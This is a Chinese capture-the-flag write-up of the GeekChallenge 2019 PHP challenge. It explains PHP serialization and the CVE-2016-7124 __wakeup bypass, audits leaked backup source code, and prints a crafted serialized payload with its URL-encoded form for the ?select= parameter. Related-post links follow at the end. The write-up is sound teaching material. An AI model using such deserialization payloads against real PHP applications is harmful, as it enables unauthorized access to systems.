[极客大挑战 2019]PHP学习笔记

目录

    • 前置知识
      • [1. PHP 序列化与反序列化](#1. PHP 序列化与反序列化)
      • [2. PHP 魔术方法](#2. PHP 魔术方法)
      • [3. CVE-2016-7124(`__wakeup` 绕过)](#3. CVE-2016-7124(__wakeup 绕过))
      • [4. 私有属性的序列化格式](#4. 私有属性的序列化格式)
    • 正文

前置知识

在开始做题之前,先理解几个关键概念:

1. PHP 序列化与反序列化

  • 序列化(serialize):把 PHP 对象转换成可存储/传输的字符串格式
  • 反序列化(unserialize):把序列化字符串恢复成 PHP 对象
php 复制代码
// 一个简单对象的序列化结果
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";...}
// ↑类名  ↑属性数  ↑属性名(带空字节)  ↑属性值

2. PHP 魔术方法

  • __wakeup():反序列化时自动调用(常用于重新连接数据库、重置属性等)
  • __destruct():对象销毁时自动调用(常用于释放资源)
  • __construct():创建对象时调用

3. CVE-2016-7124(__wakeup 绕过)

PHP 5.x ~ 7.0.10 版本中,如果序列化字符串声明的属性数量 大于实际的属性数量,__wakeup() 方法会被跳过不执行。

4. 私有属性的序列化格式

PHP 中 private 属性在序列化时,属性名会被加上 \0ClassName\0 前缀(即:空字节 + 类名 + 空字节)。因此:

  • private $username → 序列化后为 \0Name\0username(长度为 14)
  • private $password → 序列化后为 \0Name\0password(长度为 14)

正文

一、信息收集

访问目标网站,发现是一个展示猫咪的页面,页面上有一句提示:

"因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯"

这句话暗示网站存在备份文件。尝试访问常见的备份文件名:

url 复制代码
https://target.com/www.zip

成功下载得到 www.zip。解压后得到以下文件:

文件名 作用
index.php 主页面,接收 select 参数并反序列化
class.php 定义 Name 类,包含 __wakeup__destruct 魔术方法
flag.php 定义 $flag 变量(本地测试用)
style.css 样式文件
index.js 前端 3D 动画

二、zip包内容代码审计

先看index.php(关键部分):

php 复制代码
include 'class.php';
$select = $_GET['select'];
$res = unserialize(@$select);

直接从 GET 参数 select 获取输入并反序列化,没有任何过滤

再看class.php(关键部分):

php 复制代码
class Name {
    private $username = 'nonono';
    private $password = 'yesyes';

    function __wakeup() {
        $this->username = 'guest';  // 反序列化时重置为 guest
    }

    function __destruct() {
        if ($this->password != 100) {
            die("NO!!!hacker!!!");
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;  // 打印 flag!
        }
    }
}

逻辑分析

  1. __destruct() 在对象销毁时执行
  2. 需要 $password == 100$username === 'admin'
  3. __wakeup() 会在反序列化时把 $username 改成 'guest'
  4. 服务端 PHP 版本为 5.3.3 ,可以利用 CVE-2016-7124 绕过 __wakeup()

三、构造payload

需要构造一个序列化对象,满足:

  • $username = 'admin'
  • $password = 100
  • 绕过 __wakeup()

正常序列化字符串(会被 __wakeup 拦截):

复制代码
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

绕过 __wakeup()(把属性数量从 2 改成 3):

复制代码
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

URL 编码后(注意 \0 空字节要编码为 %00):

复制代码
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

四、发送 Payload 获取 Flag

访问目标网址(注意把 URL 编码后的 payload 拼接到 ?select= 后面):

html 复制代码
http://目标网址/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
相关推荐
海天鹰3 小时前
PHP上传文件
android·开发语言·php
寒月小酒6 小时前
第五章 生成集成 和第六章 RAG评估(all-in-rag学习)
数据库·学习
摇滚侠6 小时前
《RocketMQ 官网》阅读笔记 RocketMQ 消息队列 MessageQueue 消息 Messagege
笔记·rocketmq
魔城烟雨6 小时前
从零开始学习betaflight《5-坐标系》
学习
笔夏7 小时前
【移芯平台CAT1模组】烧写固件
stm32·单片机·学习
憧憬成为java架构高手的小白7 小时前
黑马八股--spring框架学习
java·学习·spring
Ztt6666666667 小时前
【无标题】
经验分享·笔记·其他·百度·微信公众平台
依然范特东7 小时前
强化学习笔记4--TD算法
笔记
AOwhisky7 小时前
Linux(CentOS)系统管理入门笔记(第十五期)——文件系统与存储管理(上篇):设备识别、挂载与文件查找
linux·运维·笔记·centos·文件系统